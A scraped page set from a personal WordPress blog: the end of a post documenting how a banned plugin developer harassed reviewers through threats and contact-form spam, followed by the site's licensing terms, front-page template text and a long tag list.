On December 16th, Mr. Tiwari claimed he would contact the “California Police” at 9am on the 17th and file “a case.” For $10 million dollar (presumably USD). He requested personal information in order to file his complaint. As he never filed a legal demand for the information, none was provided.
Per Craigslist v 3Taps in the state of California, it’s a protected right to block people from your website. Furthermore, emails constitute a valid “Cease and Desist.” Since Mr. Tiwari cannot claim he wasn’t notified of impending sanctions (he replied to the email), the best he can say is he did not understand them. However that means that WordPress is well within their rights to decline the privilege of hosting.
### Spamming Personal Websites
On December 22nd, the attack changed to a personal website. Both as ‘Ravi’ and ‘Sonam’ they used the contact form on LezWatch.TV to harass Mrs. Epstein’s co-developer on the site. 10 emails were sent in the morning, and another that evening. Specific code was written to prevent this from continuing and developed to be shared with others in similar situations. The emails contained useless and unwelcome advice on how to run and design a website, as well as a tale that his marriage was called off:
> I am trying to please mika madam as she has banned my plugin and it’s more than 30 days. My marriage was also called off because of ban and we don’t have any food even to eat. So mika madam pardon is must so I am trying to please her. Plz don’t read message as it is for mika madam. I beg her for pardon
At this time, his anonymous email host (mailsac) was contacted directly and asked how one reports such issues of abuse when the emails were used to get around blocks. Said host took appropriate action per their terms of use.
Mr. Tiwari continued to email, prompting Mr. Wood to reply and tell him again to please stop as he was harassing people. Instead, Mr. Tiwari insisted that it’s not harassment, he’s just begging. Also he claimed it was illegal to ban people from websites.
Conversations began with the system and code maintainers on WordPress.org on how best to filter these emails and protect the community.
On December 24th, he emailed to wish Plugins Merry Christmas, and implied he would not be contacting plugins again until the new year:
> See you in new year. Its my job to try hard for unban of our plugin and its your job to safeguard WordPress. I hope you wont take things personally in this disagreement.
>
> Bye for now.
Emails started up again on December 29th, following apparently successful submissions into Joomla, recommending Plugins adopt their automated tool.
---
### [Licenses and Copyright](https://halfelf.org/get/license/)
**Published:** June 6, 2011
**Author:** Ipstenu (Mika Epstein)
**Content:**
[](http://creativecommons.org/licenses/by-nc-sa/4.0/)Half-Elf on Tech by [Mika A. Epstein](https://halfelf.org/about) is licensed under a [Creative Commons Attribution-NonCommercial-ShareAlike 4.0 Unported License](http://creativecommons.org/licenses/by-nc-sa/4.0/).
Based on a work at [halfelf.org](https://halfelf.org).
## Disclaimer
**You are free:**
- **to Share** — to copy, distribute and transmit the work
- **to Remix** — to adapt the work
**Under the following conditions:**
- **Attribution**:You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work).
- **Non-Commercial**: You may *not* re-use content for commercial purposes (this does not include community driven websites).
- **Share Alike**: If you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.
**With the understanding that:**
- **Waiver** — Any of the above conditions can be waived if you get permission from the copyright holder.
- **Public Domain** — Where the work or any of its elements is in the [public domain](http://wiki.creativecommons.org/Public_domain) under applicable law, that status is in no way affected by the license.
- **Other Rights** — In no way are any of the following rights affected by the license:
- Your fair dealing or [fair use](http://wiki.creativecommons.org/Frequently_Asked_Questions#Do_Creative_Commons_licenses_affect_fair_use.2C_fair_dealing_or_other_exceptions_to_copyright.3F) rights, or other applicable copyright exceptions and limitations;
- The author’s [moral](http://wiki.creativecommons.org/Frequently_Asked_Questions#I_don.E2.80.99t_like_the_way_a_person_has_used_my_work_in_a_derivative_work_or_included_it_in_a_collective_work.3B_what_can_I_do.3F) rights;
- Rights other persons may have either in the work itself or in how the work is used, such as [publicity](http://wiki.creativecommons.org/Frequently_Asked_Questions#When_are_publicity_rights_relevant.3F) or privacy rights.
**Notice** — For any reuse or distribution, you must make clear to others the license terms of this work. The best way to do this is with a link to this web page.
## Special license for code samples
All code samples, examples, snippets or otherwise on this blog are, unless explicitly otherwise noted, licensed under an GPL2 (or later) license:
© 2011 – 2026 Mika A. “Ipstenu” Epstein
This software is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
This plugin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the [GNU General Public License](http://www.gnu.org/licenses/gpl.html) for more details.
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
---
### [Get](https://halfelf.org/get/)
**Published:** April 18, 2012
**Author:** Ipstenu (Mika Epstein)
---
## Sydney Templates
### [Front Page Template](https://halfelf.org/athemes_hf/front-page-helf/)
**Published:** June 19, 2026
**Author:** Ipstenu (Mika Epstein)
**Content:**
# The WordPress
Half-Elf Rogue
Blogging about code, open source technology, open data, and mindful development practices, with a dip into real life stories from 13 years of WordPress plugin reviews.
[About the Elf](https://halfelf.org/about/)
[Newest Posts](https://halfelf.org/articles/)
Professional Lesbian
Experience Matters

Other Sites and Projects
## Other Nerdy Things
Celebrating the representation of queers on television.
A hand-built and curated database, listing international TV representation of LGBTQ+ female, non-binary, and transgender characters.
---
LezWatch.TV
Since 2014
A fansite for the Cleveland Guardians.
As a fourth generation Cleveland Baseball fan, follow my dedication with regular posts about games and players from the sport my family has loved since they came to America.
---
Base\*Belles
4 generations, 1 team
A fan site for Jorja Fox, actress, advocate, and activist.
While it’s no longer on WordPress, it remains the most reliable source of information from the woman you probably know from CSI
---
Fans of Le Fox
TV, movies, and activism.
I strive to look at the world from a practical and passionate perspective.
## An multitude of approaches
01
### Passionate
- Creativity
- Imagination
- Open Source
02
### Practical
- Common Sense
- Future Thinking
- Constantly Learning
03
### Fun
- World Traveled
- Multinational
- Quirky
---
Search
Watch, Read, Listen
## The Way I Use the Web
- [](https://halfelf.org/2026/on-beyond-abs-integrating-acf-pro-and-mlb/)[How To](https://halfelf.org/category/how-to/)
### [On Beyond ABS: Integrating ACF Pro and MLB](https://halfelf.org/2026/on-beyond-abs-integrating-acf-pro-and-mlb/)
Building a new site and using ACF to automate the things that are a pain let me spin up features in lightning speed and have a baseball site look like…
12 June, 2026
- [](https://halfelf.org/2026/no-more-ollama-drama-a-private-ai/)[How To](https://halfelf.org/category/how-to/)
#### [No More Ollama Drama: A Private AI](https://halfelf.org/2026/no-more-ollama-drama-a-private-ai/)
Running your own AI for a private site isn’t all that hard to do, but…
17 March, 2026
- [](https://halfelf.org/2026/fair-successes-lessons-and-whats-next/)[How It Is](https://halfelf.org/category/how-it-is/)
#### [FAIR: Successes, Lessons, and What’s Next](https://halfelf.org/2026/fair-successes-lessons-and-whats-next/)
FAIR 1.3 is out, but the rollercoaster isn’t over. The “chicken and egg” of funding…
26 February, 2026
---
## Categories
### [How It Is](https://halfelf.org/category/how-it-is/)
**Description:** Making philosophy about the why behind technical things.
---
### [How To](https://halfelf.org/category/how-to/)
---
### [How It Works](https://halfelf.org/category/how-it-works/)
---
### [Video](https://halfelf.org/category/video/)
---
### [How it Was](https://halfelf.org/category/how-it-was/)
**Description:** Posts about how things were in Plugin Review land.
---
### [How It Could Be](https://halfelf.org/category/how-it-could-be/)
---
## Tags
### [svn](https://halfelf.org/tag/svn/)
---
### [ban hammer](https://halfelf.org/tag/ban-hammer/)
---
### [plugins](https://halfelf.org/tag/plugins/)
---
### [function](https://halfelf.org/tag/function/)
---
### [gravatars](https://halfelf.org/tag/gravatars/)
---
### [unsupported](https://halfelf.org/tag/unsupported/)
---
### [hacks](https://halfelf.org/tag/hacks/)
---
### [htaccess](https://halfelf.org/tag/htaccess/)
---
### [multisite](https://halfelf.org/tag/multisite/)
---
### [wordpress](https://halfelf.org/tag/wp/)
---
### [essay](https://halfelf.org/tag/essay/)
---
### [themes](https://halfelf.org/tag/themes/)
---
### [administration](https://halfelf.org/tag/administration/)
---
### [hosting](https://halfelf.org/tag/hosting/)
---
### [support](https://halfelf.org/tag/support/)
---
### [spam](https://halfelf.org/tag/spam/)
---
### [email](https://halfelf.org/tag/email/)
---
### [coding](https://halfelf.org/tag/coding/)
---
### [website](https://halfelf.org/tag/website/)
---
### [open source](https://halfelf.org/tag/open-source/)
---
### [humor](https://halfelf.org/tag/humor/)
---
### [rss](https://halfelf.org/tag/rss/)
---
### [security](https://halfelf.org/tag/security/)
---
### [seo](https://halfelf.org/tag/seo/)
---
### [software](https://halfelf.org/tag/software/)
---
### [design](https://halfelf.org/tag/design/)
---
### [privacy](https://halfelf.org/tag/privacy/)
---
### [speed](https://halfelf.org/tag/speed/)
---
### [servers](https://halfelf.org/tag/servers/)
---
### [cms](https://halfelf.org/tag/cms/)
---
### [apple](https://halfelf.org/tag/apple/)
---
### [desktop](https://halfelf.org/tag/desktop/)
---
### [identity](https://halfelf.org/tag/identity/)
---
### [browser](https://halfelf.org/tag/browser/)
---
### [mediawiki](https://halfelf.org/tag/mediawiki/)
---
### [analytics](https://halfelf.org/tag/analytics/)
---
### [google](https://halfelf.org/tag/google/)
---
### [performance](https://halfelf.org/tag/performance/)
---
### [development](https://halfelf.org/tag/development/)
---
### [macintosh](https://halfelf.org/tag/macintosh/)
---
### [heo](https://halfelf.org/tag/heo/)
---
### [documentation](https://halfelf.org/tag/documentation/)
---
### [freedom](https://halfelf.org/tag/freedom/)
---
### [bandwidth](https://halfelf.org/tag/bandwidth/)
---
### [backup](https://halfelf.org/tag/backup/)
---
### [php](https://halfelf.org/tag/php/)
---
### [social media](https://halfelf.org/tag/social-media/)
---
### [firewall](https://halfelf.org/tag/firewall/)
---
### [debug](https://halfelf.org/tag/debug/)
---
### [troubleshooting](https://halfelf.org/tag/troubleshooting/)
---
### [risk](https://halfelf.org/tag/risk/)
---
### [cloud](https://halfelf.org/tag/cloud/)
---
### [command line](https://halfelf.org/tag/cli/)
---
### [ux](https://halfelf.org/tag/ux/)
---
### [domain](https://halfelf.org/tag/domain/)
---
### [registration](https://halfelf.org/tag/registration/)
---
### [database](https://halfelf.org/tag/database/)
---
### [tumblr](https://halfelf.org/tag/tumblr/)
---
### [git](https://halfelf.org/tag/git/)
---
### [internet](https://halfelf.org/tag/internet/)
---
### [ebooks](https://halfelf.org/tag/ebooks/)
---
### [mu-plugins](https://halfelf.org/tag/mu-plugins/)
---
### [shortcode](https://halfelf.org/tag/shortcode/)
---
### [zenphoto](https://halfelf.org/tag/zenphoto/)
---
### [wordcamp](https://halfelf.org/tag/wordcamp/)
---
### [search engines](https://halfelf.org/tag/search-engines/)
---
### [interview](https://halfelf.org/tag/interview/)
---
### [cron](https://halfelf.org/tag/cron/)
---
### [genericons](https://halfelf.org/tag/genericons/)
---
### [css](https://halfelf.org/tag/css/)
---
### [deployment](https://halfelf.org/tag/deployment/)
---
### [automation](https://halfelf.org/tag/automation/)
---
### [genesis](https://halfelf.org/tag/genesis/)
---
### [dreamhost](https://halfelf.org/tag/dreamhost/)
---
### [dreampress](https://halfelf.org/tag/dreampress/)
---
### [review](https://halfelf.org/tag/review/)
---
### [apache](https://halfelf.org/tag/apache/)
---
### [slides](https://halfelf.org/tag/slides/)
---
### [favicon](https://halfelf.org/tag/favicon/)
---
### [facebook](https://halfelf.org/tag/facebook/)
---
### [comments](https://halfelf.org/tag/comments/)
---
### [javascript](https://halfelf.org/tag/javascript/)
---
### [rant](https://halfelf.org/tag/rant/)
---
### [advertising](https://halfelf.org/tag/advertising/)
---
### [updates](https://halfelf.org/tag/updates/)
---
### [ecommerce](https://halfelf.org/tag/ecommerce/)
---
### [speaking](https://halfelf.org/tag/speaking/)
---
### [ssl](https://halfelf.org/tag/ssl/)
---
### [copyright](https://halfelf.org/tag/copyright/)
---
### [accessibility](https://halfelf.org/tag/accessibility/)
---
### [learning](https://halfelf.org/tag/learning/)
---
### [moving](https://halfelf.org/tag/moving/)
---
### [behavior](https://halfelf.org/tag/behavior/)
---
### [upgrading](https://halfelf.org/tag/upgrading/)
---
### [mailbag](https://halfelf.org/tag/mailbag/)
---
### [cache](https://halfelf.org/tag/cache/)
---
### [hardware](https://halfelf.org/tag/hardware/)
---
### [font](https://halfelf.org/tag/font/)
---
### [dns](https://halfelf.org/tag/dns/)
---
### [language](https://halfelf.org/tag/language/)
---
### [cloudflare](https://halfelf.org/tag/cloudflare/)
---
### [ghost](https://halfelf.org/tag/ghost/)
---
### [images](https://halfelf.org/tag/images/)
---
### [community](https://halfelf.org/tag/community/)
---
### [management](https://halfelf.org/tag/management/)
---
### [business](https://halfelf.org/tag/business/)
---
### [license](https://halfelf.org/tag/license/)
---
### [unix](https://halfelf.org/tag/unix/)
---
### [widget](https://halfelf.org/tag/widget/)
---
### [buddypress](https://halfelf.org/tag/buddypress/)
---
### [cdn](https://halfelf.org/tag/cdn/)
---
### [ios](https://halfelf.org/tag/ios/)
---
### [jekyll](https://halfelf.org/tag/jekyll/)
---
### [regex](https://halfelf.org/tag/regex/)
---
### [ruby](https://halfelf.org/tag/ruby/)
---
### [markdown](https://halfelf.org/tag/markdown/)
---
### [app](https://halfelf.org/tag/app/)
---
### [octopress](https://halfelf.org/tag/octopress/)
---
### [watch](https://halfelf.org/tag/watch/)
---
### [dropbox](https://halfelf.org/tag/dropbox/)
---
### [json](https://halfelf.org/tag/json/)
---
### [rest api](https://halfelf.org/tag/rest-api/)
---
### [town hall](https://halfelf.org/tag/town-hall/)
---
### [hugo](https://halfelf.org/tag/hugo/)
---
### [static site](https://halfelf.org/tag/static-site/)
---
### [golang](https://halfelf.org/tag/golang/)
---
### [responsibility](https://halfelf.org/tag/responsibility/)
---
### [grunt](https://halfelf.org/tag/grunt/)
---
### [gallery](https://halfelf.org/tag/gallery/)
---
### [api](https://halfelf.org/tag/api/)
---
### [failure](https://halfelf.org/tag/failure/)
---
### [github](https://halfelf.org/tag/github/)
---
### [contact](https://halfelf.org/tag/contact/)
---
### [frameworks](https://halfelf.org/tag/frameworks/)
---
### [filter](https://halfelf.org/tag/filter/)
---
### [communication](https://halfelf.org/tag/communication/)
---
### [composer](https://halfelf.org/tag/composer/)
---
### [libraries](https://halfelf.org/tag/libraries/)
---
### [dreamobjects](https://halfelf.org/tag/dreamobjects/)
---
### [transmit](https://halfelf.org/tag/transmit/)
---
### [s3](https://halfelf.org/tag/s3/)
---
### [terms](https://halfelf.org/tag/terms/)
---
### [workflow](https://halfelf.org/tag/workflow/)
---
### [centos](https://halfelf.org/tag/centos/)
---
### [easyapache](https://halfelf.org/tag/easyapache/)
---
### [testing](https://halfelf.org/tag/testing/)
---
### [harassment](https://halfelf.org/tag/harassment/)
---
### [taxonomies](https://halfelf.org/tag/taxonomies/)
---
### [categories](https://halfelf.org/tag/categories/)
---
### [post meta](https://halfelf.org/tag/post-meta/)
---
### [quick edit](https://halfelf.org/tag/quick-edit/)
---
### [monetization](https://halfelf.org/tag/monetization/)
---
### [marketing](https://halfelf.org/tag/marketing/)
---
### [planning](https://halfelf.org/tag/planning/)
---
### [mobile](https://halfelf.org/tag/mobile/)
---
### [cpanel](https://halfelf.org/tag/cpanel/)
---
### [search](https://halfelf.org/tag/search/)
---
### [service](https://halfelf.org/tag/service/)
---
### [let's encrypt](https://halfelf.org/tag/lets-encrypt/)
---
### [stats](https://halfelf.org/tag/stats/)
---
### [charts](https://halfelf.org/tag/charts/)
---
### [nginx](https://halfelf.org/tag/nginx/)
---
### [sql](https://halfelf.org/tag/sql/)
---
### [caching](https://halfelf.org/tag/caching/)
---
### [shell](https://halfelf.org/tag/shell/)
---
### [math](https://halfelf.org/tag/math/)
---
### [baseball](https://halfelf.org/tag/baseball/)
---
### [torrent](https://halfelf.org/tag/torrent/)
---
### [names](https://halfelf.org/tag/names/)
---
### [money](https://halfelf.org/tag/money/)
---
### [mail](https://halfelf.org/tag/mail/)
---
### [js](https://halfelf.org/tag/js/)
---
### [writing](https://halfelf.org/tag/writing/)
---
### [permissions](https://halfelf.org/tag/permissions/)
---
### [event](https://halfelf.org/tag/event/)
---
### [cmb2](https://halfelf.org/tag/cmb2/)
---
### [amp](https://halfelf.org/tag/amp/)
---
### [whm](https://halfelf.org/tag/whm/)
---
### [query](https://halfelf.org/tag/query/)
---
### [code](https://halfelf.org/tag/code/)
---
### [oped](https://halfelf.org/tag/oped/)
---
### [jquery](https://halfelf.org/tag/jquery/)
---
### [politics](https://halfelf.org/tag/politics/)
---
### [grammar](https://halfelf.org/tag/grammar/)
---
### [data](https://halfelf.org/tag/data/)
---
### [migration](https://halfelf.org/tag/migration/)
---
### [local](https://halfelf.org/tag/local/)
---
### [studiopress](https://halfelf.org/tag/studiopress/)
---
### [shortcodes](https://halfelf.org/tag/shortcodes/)
---
### [facetwp](https://halfelf.org/tag/facetwp/)
---
### [scams](https://halfelf.org/tag/scams/)
---
### [ethics](https://halfelf.org/tag/ethics/)
---
### [metabox](https://halfelf.org/tag/metabox/)
---
### [admin](https://halfelf.org/tag/admin/)
---
### [alerts](https://halfelf.org/tag/alerts/)
---
### [information](https://halfelf.org/tag/information/)
---
### [postmeta](https://halfelf.org/tag/postmeta/)
---
### [monitor](https://halfelf.org/tag/monitor/)
---
### [sorting](https://halfelf.org/tag/sorting/)
---
### [apps](https://halfelf.org/tag/apps/)
---
### [amazon](https://halfelf.org/tag/amazon/)
---
### [echo](https://halfelf.org/tag/echo/)
---
### [feeds](https://halfelf.org/tag/feeds/)
---
### [feed](https://halfelf.org/tag/feed/)
---
### [alexa](https://halfelf.org/tag/alexa/)
---
### [chassis](https://halfelf.org/tag/chassis/)
---
### [local development](https://halfelf.org/tag/local-development/)
---
### [urls](https://halfelf.org/tag/urls/)
---
### [custom post types](https://halfelf.org/tag/custom-post-types/)
---
### [travel](https://halfelf.org/tag/travel/)
---
### [editor](https://halfelf.org/tag/editor/)
---
### [enqueues](https://halfelf.org/tag/enqueues/)
---
### [protest](https://halfelf.org/tag/protest/)
---
### [time](https://halfelf.org/tag/time/)
---
### [activism](https://halfelf.org/tag/activism/)
---
### [macos](https://halfelf.org/tag/macos/)
---
### [twitter](https://halfelf.org/tag/twitter/)
---
### [Codeship](https://halfelf.org/tag/codeship/)
---
### [varnish](https://halfelf.org/tag/varnish/)
---
### [television](https://halfelf.org/tag/television/)
---
### [pride](https://halfelf.org/tag/pride/)
---
### [lgbtq](https://halfelf.org/tag/lgbtq/)
---
### [svg](https://halfelf.org/tag/svg/)
---
### [archives](https://halfelf.org/tag/archives/)
---
### [bitcoin](https://halfelf.org/tag/bitcoin/)
---
### [mining](https://halfelf.org/tag/mining/)
---
### [decisions](https://halfelf.org/tag/decisions/)
---
### [fix](https://halfelf.org/tag/fix/)
---
### [sass](https://halfelf.org/tag/sass/)
---
### [homebrew](https://halfelf.org/tag/homebrew/)
---
### [travis](https://halfelf.org/tag/travis/)
---
### [GUI](https://halfelf.org/tag/gui/)
---
### [embed](https://halfelf.org/tag/embed/)
---
### [indiegogo](https://halfelf.org/tag/indiegogo/)
---
### [sara lance](https://halfelf.org/tag/sara-lance/)
---
### [sample](https://halfelf.org/tag/sample/)
---
### [example](https://halfelf.org/tag/example/)
---
### [filters](https://halfelf.org/tag/filters/)
---
### [jetpack](https://halfelf.org/tag/jetpack/)
---
### [chart](https://halfelf.org/tag/chart/)
---
### [random](https://halfelf.org/tag/random/)
---
### [statistics](https://halfelf.org/tag/statistics/)
---
### [slack](https://halfelf.org/tag/slack/)
---
### [dom](https://halfelf.org/tag/dom/)
---
### [cors](https://halfelf.org/tag/cors/)
---
### [external](https://halfelf.org/tag/external/)
---
### [image](https://halfelf.org/tag/image/)
---
### [aws](https://halfelf.org/tag/aws/)
---
### [safari](https://halfelf.org/tag/safari/)
---
### [customizer](https://halfelf.org/tag/customizer/)
---
### [ads](https://halfelf.org/tag/ads/)
---
### [related posts](https://halfelf.org/tag/related-posts/)
---
### [contact form](https://halfelf.org/tag/contact-form/)
---
### [hook](https://halfelf.org/tag/hook/)
---
### [wp-cli](https://halfelf.org/tag/wp-cli/)
---
### [gutenberg](https://halfelf.org/tag/gutenberg/)
---
### [blocks](https://halfelf.org/tag/blocks/)
---
### [hooks](https://halfelf.org/tag/hooks/)
---
### [actions](https://halfelf.org/tag/actions/)
---
### [login](https://halfelf.org/tag/login/)
---
### [gdpr](https://halfelf.org/tag/gdpr/)
---
### [mental health](https://halfelf.org/tag/mental-health/)
---
### [yoast](https://halfelf.org/tag/yoast/)
---
### [toolbar](https://halfelf.org/tag/toolbar/)
---
### [admin menu](https://halfelf.org/tag/admin-menu/)
---
### [icons](https://halfelf.org/tag/icons/)
---
### [recording](https://halfelf.org/tag/recording/)
---
### [audio](https://halfelf.org/tag/audio/)
---
### [censorship](https://halfelf.org/tag/censorship/)
---
### [adsense](https://halfelf.org/tag/adsense/)
---
### [classic editor](https://halfelf.org/tag/classic-editor/)
---
### [hiatus](https://halfelf.org/tag/hiatus/)
---
### [blacklist](https://halfelf.org/tag/blacklist/)
---
### [raspberry pi](https://halfelf.org/tag/raspberry-pi/)
---
### [pi-hole](https://halfelf.org/tag/pi-hole/)
---
### [bullying](https://halfelf.org/tag/bullying/)
---
### [dnd](https://halfelf.org/tag/dnd/)
---
### [dice](https://halfelf.org/tag/dice/)
---
### [probabilities](https://halfelf.org/tag/probabilities/)
---
### [averages](https://halfelf.org/tag/averages/)
---
### [array](https://halfelf.org/tag/array/)
---
### [string](https://halfelf.org/tag/string/)
---
### [algolia](https://halfelf.org/tag/algolia/)
---
### [elasticpress](https://halfelf.org/tag/elasticpress/)
---
### [customer service](https://halfelf.org/tag/customer-service/)
---
### [forms](https://halfelf.org/tag/forms/)
---
### [vulnerability](https://halfelf.org/tag/vulnerability/)
---
### [mansplaining](https://halfelf.org/tag/mansplaining/)
---
### [self care](https://halfelf.org/tag/self-care/)
---
### [safety](https://halfelf.org/tag/safety/)
---
### [FreshRSS](https://halfelf.org/tag/freshrss/)
---
### [ttrss](https://halfelf.org/tag/ttrss/)
---
### [reporting](https://halfelf.org/tag/reporting/)
---
### [oembed](https://halfelf.org/tag/oembed/)
---
### [netphotographics](https://halfelf.org/tag/netphotographics/)
---
### [3d printing](https://halfelf.org/tag/3d-printing/)
---
### [d&d](https://halfelf.org/tag/dd/)
---
### [cli](https://halfelf.org/tag/cli-2/)
---
### [Ninja Forms](https://halfelf.org/tag/ninja-forms/)
---
### [EXCLUDE](https://halfelf.org/tag/exclude/)
---
### [gravity forms](https://halfelf.org/tag/gravity-forms/)
---
### [questions](https://halfelf.org/tag/questions/)
---
### [stories](https://halfelf.org/tag/stories/)
---
### [GPL](https://halfelf.org/tag/gpl/)
---
### [contracts](https://halfelf.org/tag/contracts/)
---
### [sockpuppets](https://halfelf.org/tag/sockpuppets/)
---
### [bribery](https://halfelf.org/tag/bribery/)
---
### [sexism](https://halfelf.org/tag/sexism/)
---
### [dmca](https://halfelf.org/tag/dmca/)
---
### [mastodon](https://halfelf.org/tag/mastodon/)
---
### [zapier](https://halfelf.org/tag/zapier/)
---
### [scam](https://halfelf.org/tag/scam/)
---
### [mlm](https://halfelf.org/tag/mlm/)
---
### [9](https://halfelf.org/tag/9/)
---
### [capitalism](https://halfelf.org/tag/capitalism/)
---
### [react](https://halfelf.org/tag/react/)
---
### [docker](https://halfelf.org/tag/docker/)
---
### [piracy](https://halfelf.org/tag/piracy/)
---
### [wpwatercooler](https://halfelf.org/tag/wpwatercooler/)
---
### [AI](https://halfelf.org/tag/ai/)
---
### [employment](https://halfelf.org/tag/employment/)
---
### [jobs](https://halfelf.org/tag/jobs/)
---
### [wpadminbar](https://halfelf.org/tag/wpadminbar/)
---
### [health check](https://halfelf.org/tag/health-check/)
---
### [FAIR](https://halfelf.org/tag/fair/)
---
### [uptime](https://halfelf.org/tag/uptime/)
---
### [self-hosting](https://halfelf.org/tag/self-hosting/)
---
### [llm](https://halfelf.org/tag/llm/)
---
### [ollama](https://halfelf.org/tag/ollama/)
---
### [acf](https://halfelf.org/tag/acf/)
---
### [mlb](https://halfelf.org/tag/mlb/)
---